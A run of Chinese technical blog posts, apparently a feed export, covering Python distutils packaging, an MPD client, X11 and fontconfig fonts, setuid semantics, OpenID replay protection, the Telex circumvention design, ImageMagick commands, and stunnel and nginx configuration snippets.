有时我们希望发布的包里可以放置与程序相关的数据文件，用package_data来指定：
setup(...,
package_data = {'pkg': ['data/*.dat']},
)
安装其他文件
有时我们还想往包里塞点东西，但又不属于上面的任何一类，这用data_files来指定：
setup(..,
data_files = [
('bitmaps', ['bm/b1.gif', 'bm/b2.gif']),
('config', ['cfg/data.cfg']),
],
)
data_files的每个元素是(dir, files)结构，files是要塞到包里的文件，dir是塞到什么地方。
包的元信息
像name/version/url什么一看就知道怎么填了。有些fields是必须的，用sdist发布如果不过记得检查是不是忘填了某个field。
发布源代码包
上面讲过了用sdist发布。具体地，你还可以指定一个MANIFEST包含要发布的文件，或者指定一个MANIFEST.in然后setup.py会自动生成相应的MANIFEST。或者你也可以像上面一样什么都不指定，setup.py会按照默认规则生成一个MANIFEST。
你也可以用--formats指定打包的格式。
包的安装
只要一行：
python2 ./setup.py install
包里的东西就去了它们各自该去的地方。
如果想分开build和install，也可以分开写：
python2 ./setup.py build python2 ./setup.py install
包里的东西都去了什么地方呢？pure Python module去了prefix/lib/pythonX.Y/site-packages，extension module去了exec-prefix/lib/pythonX.Y/site-packages。prefix和exec-prefix可以用sys.prefix和sys/exec-prefix查看，一般是/usr。你可能会想scripts应该去了/usr/bin吧，嗯就是这样的。每个文件都去了它该去的地方。
distutils还包含了一些常用的schemes，如--user/--home/--prefix等等，可以将包内文件安装到不同的地方。如果你喜欢自定义，也可以用--install-purelib/--install-scripts等参数对每一类文件进行分别控制，总之是很自由的。
发布二进制包
由于包的原作者不大可能在所有的平台上工作，所以原作者一般只发布源代码包以及他所使用的平台的二进制包。那么各个平台的中间维护者拿到源代码包之后可以打成该平台的二进制包，这样最终使用者就不用自己编译链接了。打二进制包用：
python2 ./setup.py bdist
可以用--format指定格式，如rpm等。
发布到PyPI就不说了，有兴趣的自行参看置底链接。
Links:
]]>mpy源于ncmpcr，但比ncmpcr更稳定，更成熟。逻辑控制更清晰，UI也有改善。这一切得力于Python的精简，一行可以做完C几行的任务，这样就可以把更多精力放在流程控制上。
当然，用Python会有些性能损失。CPU的执行效率在这么一个客户端上并不明显，但内存占用和C还是有差距的。以下是用ps命令检测到的分别在停止/播放/使用一段时间后的内存占用：
# stop ncmpcr 6316 ncmpc 6760 mpy 24416 sonata 58644 mpd 65604 # start ncmpcr 6316 ncmpc 6760 mpy 25036 mpd 65672 sonata 97524 # after a while ncmpcr 6316 ncmpc 6760 mpy 25036 mpd 68092 sonata 107240
可以看出mpy比ncmpcr多用一些内存，但运行时内存占用还是比较稳定的。ncmpc和sonata是另外两个分别用C和Python写的MPD客户端，可供对比参考。sonata带图形界面，所以会多吃一些内存。
因为照顾远程使用MPD的用户，把音乐的rating信息保存在了服务器端，存取音乐的rating用了sticker，所以是一条一条进行的，播放列表（不是总的歌曲数据库）里的歌曲多，而且网速慢的话rate时会有点慢，不过几百首之内都无所谓（网速太慢也没法用MPD吧……）。如果数据库里有成千上万的歌曲的话，就不要都往播放列表里堆了（几万首也听不完吧……），或者在配置文件里关闭rating这个feature好了。不过还是建议打开这个feature，因为当初就是因为用ncmpc无法记录哪些歌好听哪些歌不好听才写了ncmpcr和后来的mpy的。
当然我后来考虑了一下这个功能实现在客户端也无可非议，因为即便同样的歌曲不同人觉得好听与否都未必一致。而且我觉得多数人都是在localhost上用MPD的。实现在客户端的话速度就会快很多了。这个改起来不难，只是不知道未来什么时候有时间了。
嗯，就这么多吧。项目主页在http://ncmpy.cykerway.com/
Update. 由于在PyPI上名字冲突，mpy已经改名为ncmpy。嗯，这个nc前缀还是没能逃过去。
]]>Doublo是豆瓣最近推出的一款在线小游戏，玩法是两个人同时听一首歌，并给出歌曲的标签，例如年代、流派等等。如果两个人给出的某个标签一致，那么双方都会获得相应的分数。
不知道看到这个你有没有想起reCAPTCHA。Google用reCAPTCHA来区分自然人和机器，同时用户的行为可以帮助Google识别数字文献，是一个一箭双雕的好事情。
Doublo和reCAPTCHA有异曲同工之妙，但看上去Doublo比reCAPTCHA更好，因为Doublo没有区分自然人和机器的这个任务，所以使用方式更灵活，可以想象如果两个人都认为一首歌曲有某一个tag，那事实基本上就是这样，于是两个人在玩游戏的同时完成了对训练集数据的标注。就是这么一个简单的想法。不过最精彩的创意也往往就是一个简单的想法。
而且，Doublo是以游戏的方式进行，用户是主动的，而reCAPTCHA的使用中，用户是被动的。用户更乐于接受Doublo。
不由得想起我在写mpy的时候，因为许多音乐没有完整的tag，一度怀疑自己加入按Artist/Album分类这个功能是否有意义。若干年前我还想做一个根据音乐自动识别tag的软件，后来因为种种原因没有成型。我当时的想法很简单，只需要维护一个资料库，保存（一首歌曲的前30秒，或整首歌曲，的内容的一个类似hash的值）与（该歌曲的tag信息）这样的键值对就可以了（当然有比简单的hash更好的参数），如果需要，还可以加入歌词（把歌词加入到tag里就可以了）。但后来发现维护这样一个庞大的资料库是非常困难的，单靠机器识别的精度远远不能满足需要，而用人来识别的话又没有足够的用户。而Doublo的出现恰好解决了这个问题，无论是直接标注，还是用用户行为来训练模型（这样以后遇到资料库里已有的歌曲就可以自动返回结果，遇到资料库里没有的可以用训练好的模型来应答）。这算是一个非常完美的解决方案了。
另外，也许你还可以由Doublo想起Omegle，都是随机抓两个人做点什么这个模式。
鉴于Doublo是一个最新推出的产品，我还是想指出它的一些不足之处：
同步和延迟问题。根据刚才十几分钟的游戏体验，有时音乐的载入需要较长时间（但播放时基本没有lag），而下方的匹配标签也会出现不同步的情况，例如标签重复出现。
我觉得，这问题只能靠豆瓣的工程师。
玩家的音乐素养问题。我觉得多数人都没有受过很正式的音乐训练，也未必了解音乐的各种分类。例如，你真的能非常清楚地区分pop/rock/R&B/hiphop么？如果参与游戏的玩家都不能准确地对音乐进行分类，那么由这个游戏得到的音乐分类结果是值得怀疑的。再者，玩家也未必清楚歌手的出处，更未必分得清音乐所表述的感情。备选标签里有个感觉标签叫“迷幻”，什么是迷幻，你能听出哪首歌在迷幻么？更不必提，有些歌曲连男声女声都听不出来。
我觉得，豆瓣至少应该在游戏页面加入一个音乐分类的基本介绍和试听，当作游戏教学之类什么的。不然分类结果可能大打折扣。
备选标签的设置问题。这个问题由上面的问题引申而来。既然用户不能准确地进行分类，他们就可能会瞎点。但瞎点还好，如果用户为了获得更高的分数而约定俗成一个类似“不会就蒙C”的规矩，那这个对分类的准确性就要命了。
我觉得，至少应该有一个稍微靠谱不捣乱的角色存在。具体地，见下一条。
“猪一样的队友”问题。任何具备合作特性的网络游戏都有这么一个问题：不怕神一样的对手，就怕猪一样的队友。这是一个通病，对于强烈依赖团队合作的游戏来说，迄今为止最好的解决方法就是退出重进，点数什么就忍痛割爱了吧。不幸Doublo就是这么一个强烈依赖团队合作的游戏，就算你都标记对了，如果对面都标记错了，你还是一分也得不到。
我觉得，解决这个问题，连同上面那个问题，有个最简单的方法就是把二人游戏变N人游戏，并规定一个标签被采纳当且仅当N/2 < M < N个人标记这个标签。首先，上面那个问题解决了，因为人越多，有一个靠谱的人的可能性就越大。注意，只要有一个靠谱的就行了。其次，这个问题也解决了，因为对任一单个人的依赖降低了。换句话说，N-M头猪都不能影响游戏的正常进行了（还记得分布式计算里的quorum么）。
UI设计问题。现在的页面UI设计还不敢恭维，分数到达3位数时就会被其他页面元素遮挡住一块，估计是CSS没有调整好。但这还好，比这更糟的是每次选不同分类的标签都要点两下，做到一个大页面里去应该不是什么难题，可以节省用户近一半的点击。而左边那么大的一片用来放不重要的东西，豆瓣是直接把电台的UI设计套在游戏上了么？
我觉得，这些不是什么困难事，随时都可以改。但改不改不归我说了算。
最后，这款游戏现在还没有和社交关联起来。豆瓣为什么不做这样的关联呢？我觉得（仅仅是我个人猜测）Doublo只是为了改善豆瓣电台质量的一个工具，如果允许熟人一起玩，可能双方会为了获得更高的分数而统一意见到某个的答案上，这样就不准了（类似于上面的“不会就蒙C”问题）。因为熟人玩家会降低玩家之间的独立性，这就注定了这个游戏只能是随机抽选玩家。不过其实豆瓣可以加入如果默契率高就公布对方信息并选择是否添加好友这个功能，或者加入只匹配异性玩家的功能，这对追妹子（文艺女青年？）应该是有帮助的。
总而言之，Doublo是个让人眼前一亮的产品。如果能把现在存在的问题解决掉，会非常成功；如果不能解决（对改善音乐质量没有帮助），也许会被豆瓣下线。但在此时此刻，仍然必须严重推荐。
Links:
]]>首先，什么是字体系统？当应用程序（以编码的方式）要一个字，你能找到这个字并以合适的方式画出来，你就是个字体系统。X有两套字体系统：X11核心字体系统（core X11 font system）和xft。就先从原始的X11核心字体系统说起吧。
提到X11核心字体系统，就不得不说一下-misc-dejavu sans-*-*-*-*-17-*-*-*-*-*-iso10646-*这坨东西。这坨东西有个术语叫X local font description(XLFD)，分成14块，每一块都描述了字体在一个方面的特性，具体可参见http://en.wikipedia.org/wiki/X_logical_font_description。总之，就是个字体的描述。
那么如何添加字体呢？假设字体文件是/usr/share/fonts/foo/foo.ttf，那么执行：
# make index mkfontscale /usr/share/fonts/foo/ mkfontdir /usr/share/fonts/foo/ # set font path xset fp+ /usr/share/fonts/foo/ xset rehash
即完成字体的添加。前两行会生成fonts.scale和fonts.dir，自己打开看看就知道是什么了。但是这种方法不是持久的，重新启动之后就没了。持久的方法有二：
将后两行写在~/.xinitrc里
在/etc/X11/xorg.conf里加入
Section "Files"
FontPath "/usr/share/fonts/foo/"
EndSection
在第二种方法里xset的两行就不需要了。
关于X11核心字体系统如何选择应用程序所要求的字体，可以运行一下xfontsel这个程序。xfontsel可以用来查看一个XLFD在你的机器上会被如何显示。
另外xlsfonts可以列出满足指定XLFD的字体：
xlsfonts -fn "-urw-nimbus sans l-*-r-condensed-*-17-*-*-*-*-0-iso10646-*"
不加-fn选项时列出所有字体。
X11核心字体系统就说这么多，下面轮到xft字体系统了。xft其实没多少东西（yaourt -Ql libxft看看）。它更像是一个接口，调用fontconfig和FreeType完成大部分工作。fontconfig用来选字，FreeType用来画字。
重点说fontconfig吧。XLFD在这里就没什么用了，fontconfig对字体有自己的内部描述。还是从添加字体说起吧。最核心的配置文件是/etc/fonts/fonts.conf，是个XML文件。打开看看，里面用<dir></dir>包围的，就是字体目录；用<cachedir></cachedir>包围的，就是缓存目录。别的先不用管，看~/.fonts在字体目录里吧，把foo.ttf往~/.fonts里一丢，运行一下：
# update cache fc-cache -vf
这个字体就添加进去了。用下面命令看一下就知道了：
fc-list
但是若想要让字体有好的显示效果，还需要好好配置一番。/etc/fonts/fonts.conf会包含/etc/fonts/conf.d目录下的所有文件，而/etc/fonts/conf.d下的文件都是/etc/fonts/conf.avail下的文件的软链接，方便随时添加删除。常用的格式无非就两种
<match><test></test><edit></edit></match>，意思是对满足test的东西执行edit操作。test和edit都可以有多个。如果test有多个，仅当所有test都满足时才执行edit。
<alias><family></family><prefer or accept or default><family></family></prefer or accept or default>。这个是说，如果给定字体是前面family标签里的内容，就以后面family里的内容执行prefer或accept或default。prefer是说插在前面，accept是说跟在后面，default是说放在最后，都是字体匹配时用的。
具体如何配置有很多例子，看置底链接吧，不在这里写了。
当fontconfig选好字体后还要利用FreeType画出来。FreeType是个文字转图片的东西。当然转成图片后还是要用X来画。
写得乱七八糟的，也许改天有空refine一下。
Links:
ruid和euid好理解吧？ruid就是说你是谁，euid就是说你以什么身份干事，一般情况下ruid = euid。但是在执行具有setuid位的程序时就不一样了。这些程序会把euid设置为该程序文件的属主ID，比如A执行了一个以B为属主的具有setuid位的程序，那么这个执行进程的euid就是B，而ruid还是A。同时saved set-user ID也被设置为B。
为什么要存saved set-user ID这个东西呢？因为前面说了干事时的身份是由euid来决定的。那么如果某个具有setuid位的程序想要切回使用者的身份，在没有saved set-user ID的情况下就切不回来了。例如上例中A执行的那个进程获得了euid为B，如果中途想要切换euid为A，就再也切不回B了。多了saved set-user ID之后就好办了。在exec时把euid和saved set-user ID都设置为B（实际上exec时saved set-user ID总是被设置为euid）。然后就算中间切到A了也还能再切回B（通过设置euid = saved set-user ID即可）。
当然为了安全，saved set-user ID是不能乱设的。我所知道的设置saved set-user ID的方法只有两种：一是exec时总是设置saved set-user ID = euid。二是只有root可以可以通过setuid来设置saved set-user ID（当然这样的话ruid和euid也都变了）。
另外，setuid和seteuid两个东西的区别仅在于以root执行时。以root执行时setuid会把3个ID（ruid/euid/saved set-user ID）全改成指定值，seteuid则只会改euid。以非root执行时setuid和seteuid一样。
Links:
]]>Links:
]]>至于RP怎么验证OP的签名，有两种方法。一是RP事前和OP用Diffie-Hellman商量个密钥，这样RP和OP用同样的密钥签名，RP只需要检查自己签出来的是不是和OP一样，这是HMAC的典型应用。二是RP把你给它的单子拿去问OP：“某某某说这是你给它签的，有效吗？”然后OP会告诉RP是否有效。OP只需要再签一次然后比对是否相同就行了。在这种方法中RP并不知道OP签名所用的密钥。
为了防止重放攻击，有两个地方需要注意。第一，OP在签名的时候要签进去一个nonce，形式为“Unix时间戳+unique字符串”。必须保证同一个OP的任何两次签名的nonce都不相同，而RP对同一个nonce仅允许验证成功一次。怎么理解呢？所谓重放攻击，就是你拿着OP给你签好的单子去RP验证通过的时候，这个单子被某个坏人看到了（例如网路上的窃听者）。于是它记下了单子的数据，并伪造一张一样的单子去RP那儿验证。但是单子上有nonce这个东西，而且RP也会维护之前验证成功的nonce。因为OP保证任何一个nonce只用一次，当RP看到一个nonce被用了两次的时候，就知道是坏人在重放了，所以会拒绝第二次请求，于是坏人就不能得逞了。
那么RP如何维护这么庞大的已经使用过的nonce列表呢？这时时间戳就派上用场了。其实RP并不需要维护所有已经使用过的nonce列表，而是只需要维护时间戳误差在RP与OP时钟漂移+网络延时范围内的就可以了。假设RP的时间是t，时钟漂移+网络延时是d，那么OP的时间范围是[t-d, t+d]，所以RP就只需要维护时间戳在[t-d, t+d]的消息。时间戳大于t+d的签名消息根本不会出现，而时间戳小于t-d的被RP认为是重放。这样RP的负担就小多了。
回到主线接着说第二，在上述验证方法二中，OP对同一个验证请求最多只能回复一次。这其实和前面的道理是一样的，只不过角色从RP转移到了OP。
最后，什么叫做同一个验证请求？就是指nonce相同的呗。前面都说了一个nonce只能用一次，所以nonce是一个天然的唯一标识符。
不过后来我想了一下，是不是能把这两个地方合起来，把防止重放攻击的责任完全放在RP身上？因为无论采用哪种认证方式，都是RP最后得到验证成功或失败的消息。作为RP所需要保证的就是，无论采取哪种验证方式，都不能让同一个nonce成功两次就可以了。这么来看完全没有必要让OP管这些事。而协议里之所以要OP来插一腿，估计是为了应付那些stateless的RP的，那些RP没脑子，记不住哪些nonce是曾经验证成功的，所以只能完全靠OP了。不知道我的分析对不对。
推荐三篇文章。第一篇讲什么是OpenID，第二篇讲OpenID工作原理，第三篇是OpenID Authentication 2.0协议原文。
Links:
]]>有一些文字上的细微之处需要搞清楚。书上Theorem 3.3.1.的disjoint A-B path中的disjoint是指完全不相交，包括端点也不能相同。A-B path的定义可以见那个7页的证明，注意“除起点和终点外中间不能有A或B中的点”这个要求。这样那个7页证明就容易懂了。而Corollary 3.3.5.中的independent a-b path是指从a到b的internally vertex-disjoint path，即除a, b外的中间节点不相交（不然最多只有一条了）。证明里的N(a)指顶点a的所有邻点，E(a)指顶点a的所有邻边，line graph of G（下称G'）中每个顶点对应G中一条边，G'中两个顶点相邻当且仅当G中对应的两条边相邻，这些都是在前面章节里给出的。Theorem 3.3.6.中的independent path与Corollary 3.3.5.中类似。
Menger's Theorem可以弄出一些很漂亮的结论。比如说，下面两个命题是等价的：
2到1是显然的。1到2可以这么证：如果1成立，那么图G一定是(k-1)个点不可分割的，即最小分割点集的元素个数大于等于k。根据Menger's Theorem，任意两点间的node-disjoint-path的个数都大于等于k。
再比如，下面4个命题是等价的：
由上面的分析知，1和4是等价的（取k=2）。而1到2，3到2是显然的。3到1也好证。2到4可以用Menger's Theorem，这样2和1也等价了。还剩一个2到3，我们不妨证NOT 3到NOT 2。证明如下：
因为边共环是一个等价类，若图G中有两边不共环，必然可以找到顶点v, a, b使得边va和vb不共环。那么所有a, b之间的路都经过v。所以v就是个割点。
Menger's Theorem果然是个神奇的对偶定理。
BTW，Diestel真是个好人，居然提供了最新版的全书pdf下载，说是low-quality，其实也不错了。只是不能搜索，找前面的定义费劲了。
Links:
]]>有私钥的人可以迅速识别出tag，并根据tag算出key:$k_{sh}$
没有私钥的人无法有效地区分tag和真正的随机串
私钥当然是掌握在Telex的提供者手里（以下认为Telex station有私钥）。
整个通讯过程的背景是，client要访问一个被Q的网站Blocked.com，另外有一个没有被Q的网站NonBlocked.com作为靶子，而Telex station作为路由器的旁路设备架设在client和NonBlocked.com之间。当然，除了client之外的三个东西都是在Q外的。
client不能直接访问Blocked.com，因为这样Q就发现了。于是client用HTTPS访问了NonBlocked.com，只不过在TLS协议client最开始发送的随机串那里用了一个tag而不是真正的随机串。当这个包到达Telex station时，Telex station用私钥识别成功，开始监听这个连接。TLS握手进行到交换密钥这一步时，client故意造了一个漏洞，在应该用真随机串的地方用了根据$k_{sh}$生成的伪随机串。对于不知道$k_{sh}$是什么的人来说无法发现差别，但Telex station知道$k_{sh}$，所以相当于client把密钥交换算法中自己的私密部分告诉了Telex station。于是Telex station就可以像client一样算出双方在后续通讯中使用的主密钥（master secret）了（注意NonBlocked.com发来的公开信息Telex station也能看到）。
最精彩的地方在于，当client和NonBlocked.com的TLS握手即将进行完毕，NonBlocked.com发来最后一个Finished消息时，Telex station用一个RST蹬掉了NonBlocked.com，自己摇身一变成了Man-In-The-Middle。（RST终于在好人手里创造价值了……内牛……）在把这个Finished消息forward给client之后整个TLS握手就完毕了，而通信的双方实际上已经由client和NonBlocked.com变成了client和Telex station。一个加密信道建立起来了，Telex station只需要像个代理一样负责转发就可以了。比如client在这个连接上的下一个请求就可以是到Blocked.com的了。
Telex强大的地方在于它是部署在从client到NonBlocked.com（注意不需要是Blocked.com）的中间节点上的，即作者所说的end-to-middle，client是end，Telex是middle。整个通讯在client这边看起来都是在和NonBlocked.com进行的，Telex station的IP并没有暴露，所以也就无法用封IP的方法消灭。client想要Telex的帮忙，只需要建立一个HTTPS连接途经Telex即可。可以想象如果能在骨干网大规模部署Telex或者干脆部署在国家入口，命中率还是很高的。
不过Telex还是存在一些问题（除去论文中已经指出的）。既然client和NonBlocked.com之间的通讯密钥被三方（client/NonBlocked.com/Telex station）知道了，那么：
client和NonBlocked.com的通讯都被Telex station看到了。这就意味着client和NonBlocked.com之间的通讯是不安全的。所以不要把NonBlocked.com指定为很重要的网站。
理论上NonBlocked.com可以破译client和Telex station的通讯。所以这条信道并不是真正的安全，只是能凸Q罢了。如果在client和Telex station之间的通讯需要加密，应当在加密信道建立之后立即重新协商密钥。
总的来说整个过程很有趣。苦逼的client给无辜的靶子发求救信号，只为中间被Telex截获。Telex忍啊忍等到两边的TLS通道建立起来了，一脚蹬掉靶子开始为client服务。可怜的靶子，辛辛苦苦和别人握了手，还没热乎，就被一个RST蹬掉了。没办法，谁让靶子身份好。
附TLS握手协议图一张，这个是双向认证的，凑合看吧。
Links:
]]>The divide-and-conquer is cool.
]]>正宗的修改的办法当然是用via指定下一跳，不过其实设置一个静态ARP，将这个IP映射到eth0子网的网关的MAC地址上也可以（虽说之所以不用这个方法就是为了避免大量的ARP缓存……）。
]]>Just that simple.
Links:
]]>
ImageMagick从6.0版本之后命令行有了很大改观，不再像之前一样乱糟糟的了。命令行的格式统一为：
command { [-setting]... "image"|-operation }... "output_image"
其中{}部分可以重复若干次，用于处理多个图像。
为了弄清ImageMagick是如何处理多个图像的，先了解一下命令行的参数。每个{}对应一个输入图像，所有已经输入的图像构成一个栈（作者这么叫，其实好像和栈也没啥大关系，当数组看吧），其中-setting部分指定设置参数(Setting Options)，-operation指定操作参数(Image Operators)。设置参数一经设置对其后所有图像均生效，而操作参数作用于当前处理栈中的所有图像。
如果细分的话，关系如下：
整个处理过程可以用作者的一句话来概括：
Settings are saved in some way for later use, while Operators are applied immediately to the images.
文档中还有一个例子来说明，应该很好理解了。
值得一提的是，输入除了给文件名以外还有好几种形式，比较常用的例如：
# all images with extension jpg convert *.jpg out.gif # list.txt is an image list convert @list.txt out.gif # choose image-001.jpg ... image-005.jpg convert image-%3d.jpg[1-5] out.gif
输出同理，例如output-%3d.jpg之类的。
图像几何用来确定区域大小。基本格式如下：
有个坑爹的地方需要注意一下：格式2中第一个百分号%不是必须的。也就是说'200x50%'不是表示宽度=200像素，高度=50%，而是宽度=200%，高度=50%。
因为别的都比较简单，只说说格式8和格式9。不妨把原图的尺寸记为w1xh1，指定的尺寸记为w2xh2。大于号>就是说原图在指定的尺寸中放不下时才做这个操作。无论是宽放不下还是高放不下，都是放不下，即放不下的条件是w1 > w2 or h1 > h2。小于号<正好相反，是说原图在指定的尺寸中放得下时才做这个操作，即放得下的条件是w1 <= w2 and h1 <= h2。这两个符号的共同点是都相当于将照片恰到好处地、保持宽高比地放入指定大小的像框中（这也是大于号和小于号都不用时的默认行为）。不同点是大于号只处理像框不足以容纳照片的情况，小于号只处理照片无法充分利用像框的情况。
再深入一点，格式8、9可以和格式7放在一起用。格式7的作用是无视宽高比，也就是相当于大于号和小于号的判断要在宽度和高度方向分别进行。用这个选项照片可以完全填满像框。
再深入一点，格式8、9可以和格式6放在一起用。格式6的作用是改变判断方式，把条件从“必须限制在一个框框”变成“必须覆盖一个片片”。也就是说，反过来看，指定的是照片的尺寸，而我们要调整的是像框。大于号处理像框可以完全容纳照片时的情况，避免浪费，也就是判断条件为w1 > w2 and h1 > h2。小于号处理像框不能完全容纳照片时的情况，此时必须增大像框，判断条件为w1 <= w2 or h1 <= h2。
在格式7存在的前提下，有没有格式6已经无所谓了，所以格式6、7混用和只用格式7的效果是完全一样的。
记这些太麻烦了，根据需要整理出表达式然后到这里找吧。
下面是比较常用的功能的用法：
#!/bin/bash # flip (vertically) convert logo: -flip flip.png # flop (horizontally) convert logo: -flop flop.png # rotate (clockwise, filled with background color) convert logo: -background "#123456" -rotate 30 rotate.png # resize convert logo: -resize 50x120% resize.png # crop convert logo: -crop 800x150+220+120 +repage crop.png # composite convert logo: rose: -geometry +200+100 -composite composite.png # add border convert logo: -bordercolor "#123456" -border 60x60 border.png # raise convert logo: -raise 30x30 raise.png # draw text convert logo: -fill "#00ff00" -font /tmp/wqy.ttf -pointsize 36 -draw "text 70,380 'This\'s 中文: \"Hi!\"'" text.png # blur convert logo: -blur 80 blur.png # noise convert logo: -noise 3 noise.png # negate convert logo: -negate negate.png # monochrome (with dither) convert logo: -monochrome mono_dither.png # monochrome (without dither) convert logo: +dither -monochrome mono_no_dither.png # charcoal convert logo: -charcoal 2 charcoal.png # spread convert logo: -spread 2 spread.png # swirl convert logo: -swirl 80 swirl.png
下面的代码可以产生本文开头的GIF动画：
#!/bin/bash
convert logo: -resize "50%" in.gif
for i in {1..20}
do
iz=$(printf %03d $i)
echo $iz
convert in.gif -swirl $(echo "$i*4" | bc) swirl-$iz.gif
done
convert -delay 2 -loop 0 swirl-%03d.gif[1-19] part1.gif
convert -delay 2 -loop 0 swirl-%03d.gif[2-20] -reverse part2.gif
convert -delay 2 -loop 0 part1.gif part2.gif final.gif
下面的代码可以产生竖排文字：
#!/bin/bash
#
# shu.sh
if [[ $# -ne 2 ]]; then
echo 'Usage: ./shu.sh <textfile> <height>'
else
cat "$1" | ./shu.py "$2" | convert -background lightblue -fill "#336699" -pointsize 24 -font AR-PL-UKai-CN-Book label:@- png:-
fi
#!/usr/bin/python2
# -*- coding: utf-8 -*-
#
# shu.py
import sys
IGNORE = ' \n，。！？；：“”'.decode('utf-8')
def shu():
s = sys.stdin.read().decode('utf-8')
w = int(sys.argv[1])
i = 0
t = []
r = []
for c in s:
if c in IGNORE:
continue
if i == 0:
r = []
t.append(r)
r.append(c)
i = (i + 1) % w
if i != 0:
while i < w:
r.append(' ')
i += 1
tt = zip(*t)
for ii in range(len(tt)):
ll = list(tt[ii])
ll.reverse()
ss = u''.join(ll).encode('utf-8')
if ii == len(tt) - 1:
sys.stdout.write(ss)
else:
print ss
def usage():
print 'Usage: cat <textfile> | ./shu.py <height>'
if __name__ == '__main__':
if len(sys.argv) != 2:
usage()
else:
shu()
Links:
]]>identify a.png convert -extract 200x200+100+100 a.png a.jpg identify a.jpg convert -extract 200x200+100+100 a.png a.gif identify a.gif
给出结果是：
a.png PNG 640x480 640x480+0+0 8-bit PseudoClass 16c 1.12KB 0.000u 0:00.000 a.jpg JPEG 200x200 200x200+0+0 8-bit PseudoClass 256c 7.77KB 0.000u 0:00.000 a.gif GIF 200x200 640x480+100+100 8-bit PseudoClass 16c 1.79KB 0.000u 0:00.000
就是说从一个640x480的png中裁一块200x200的图像下来，存成jpg的话就是200x200大小，存成gif的话就是640x480大小。为什么呢？
翻了一下GIF图像格式，发现GIF的基本结构是一个logical screen里面放若干image。而convert根据原图大小和裁剪区域把logical screen和image设置成了相应的值。所以在上例中logical screen的大小是640x480，而里面image的大小是200x200。至于看图软件具体显示哪一个值，不同的软件未必一样。如feh/display只显示GIF的有效image区域，即200x200，而firefox会显示整个logical screen，即640x480。
Links:
]]>Links:
]]>xmodmap -e "pointer = 9 10 8 4 5 6 7 3 1 2"像这样就是做了一个1-9, 2-10, 3-8的互换。用xmodmap -pp查看一下：
There are 24 pointer buttons defined.
Physical Button
Button Code
1 9
2 10
3 8
4 4
5 5
6 6
7 7
8 3
9 1
10 2
11 11
12 12
13 13
14 14
15 15
16 16
17 17
18 18
19 19
20 20
21 21
22 22
23 23
24 24
说明搞定了。
]]>Defaults to first printing, front to back, thus saving four mouse clicks.
Just add the following lines in nginx configuration
location /clrs {
proxy_pass http://www.cs.dartmouth.edu/~thc/clrs-2e-bugs/bugs.php;
proxy_method POST;
proxy_set_header Content-Type application/x-www-form-urlencoded;
proxy_set_body printing=1&sort=location.asc&show_errors=Show+Errata;
}
]]>最简单的Server端配置只需要如下选项（其他uid/gid什么的就用默认的了）：
# cert/key事先用openssl生成 cert = /etc/stunnel/openssl/server.crt key = /etc/stunnel/openssl/server.key [https] accept = 10443 connect = 80
Client端如下：
[https] client = yes accept = 10080 connect = <server_ip>:10443
这个小例子假定有一台HTTP伺服器监听在80端口。在这里Client的功能是将用户发送到10080的HTTP请求加密后发送到Server的10443端口。而Server的功能是将10443端口接收到的加密信息解密后发送到80端口。所以访问Client的10080端口实际上相当于访问Server的80端口，但中间的传输是加密的。当然，如果Server允许外部机器访问其10443端口，也可以用HTTPS直接访问该端口。
Links:
]]>在一个括号上按%可以跳到对应括号。
在一对括号之内（以方括号为例）按va[或va]可以选择之间的内容（包括这对方括号），按vi[或vi]同理（但不包括方括号）。
对v之外的其他操作也适用，如c/d/y/...
对其他括号也适用，甚至对单词边界和HTML/XML标签也适用。
更多用法参见:help object-select。
此时进入Settings -> Sound，其中Phone ringtone和Notification ringtone里应该有自定义的铃声了，设置闹钟时也应该有自定义的铃声了。
]]>首先要弄好光源，把它拍下来。然后调整大小，去背景，上色，调节饱和度，修理边缘，加上特殊效果，最后抠出遮罩。
用到的工具是ImageMagick，GIMP和自己写的几个调用PIL的Python脚本。
Note.前面几项任务用的是HSL色彩空间。个人觉得如果用HSV色彩空间可能效果会更好（当然也可能更差，没进行实验。因为这是后来才发现的……）
设原图为A（未列出）。调整大小用convert即可，产生图B。去背景也比较简单，因为背景是白色的，而前景都是饱和度比较高的颜色，在HSL色彩空间里把饱和度较小的颜色置白即可。（后来觉得在HSL里这样搞可能会有问题，因为HSL的白色也可以有较高的饱和度，而HSV则不会。不过这里用HSL暂时还没什么问题。）代码大致如下：
for x in range(640):
for y in range(480):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if s < 0.3:
im.putpixel((x, y), (255, 255, 255))
这一步产生图C。
接下来是上色。当然是根据原来的颜色进行分块处理。代码大致如下：
rx = 210, 450
ry = 120, 280
gx = 200, 340
gy = 260, 390
bx = 330, 460
by = 260, 390
yx = 230, 330
yy = 230, 310
cx = 290, 370
cy = 300, 350
mx = 330, 420
my = 230, 310
for x in range(*rx):
for y in range(*ry):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if abs(h % 360) < 20 and s > 0.1:
im.putpixel((x, y), (206, 41, 11))
for x in range(*gx):
for y in range(*gy):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if h > 100 and h < 160 and s > 0:
im.putpixel((x, y), (16, 157, 61))
for x in range(*bx):
for y in range(*by):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if h > 212 and h < 220 and s > 0:
im.putpixel((x, y), (0, 65, 193))
for x in range(*cx):
for y in range(*cy):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if h > 200 and h < 210 and s > 0.8 and l < 0.5:
im.putpixel((x, y), (0, 68, 117))
for x in range(*mx):
for y in range(*my):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if h > 230 and h < 240 and s > 0.5:
im.putpixel((x, y), (28, 18, 58))
for x in range(*yx):
for y in range(*yy):
r, g, b, h, s, l = getrgbhsl(im, (x, y))
if h > 63 and h < 100 and s > 0:
im.putpixel((x, y), (201, 204, 1))
这一步产生图D。
然后手工GIMP一下，边边角角弄一弄，铅笔/毛笔/气刷/模糊依次用一遍，产生图E。
然后加点特殊效果，比如中心放射的Motion Blur。怎么保证原图的真实感呢？先分两个图层，把其中一个做Motion Blur，然后设置合适的图层混合方式。这一步产生图F。
最后抠遮罩。这个最难了。基本思路是通道抠图。原来只会用RGB通道抠图，这次发现饱和度抠图效果更好，因为前面已经实现了边缘的渐变。不过这里必须用HSV色彩空间了。如果用HSL色彩空间的话饱和度从里向外非常奇葩地不是逐渐减小，而是靠近边缘内侧有一圈较大的值（见下面比较），怪不得有人说HSL的饱和度定义不合理。搞到饱和度通道之后就是常用的选择扩张+外染色，以及选择收缩+内染色。然后把饱和度通道作为Alpha通道即可。当然最后最好存成PNG格式。这一步产生最终的图G。
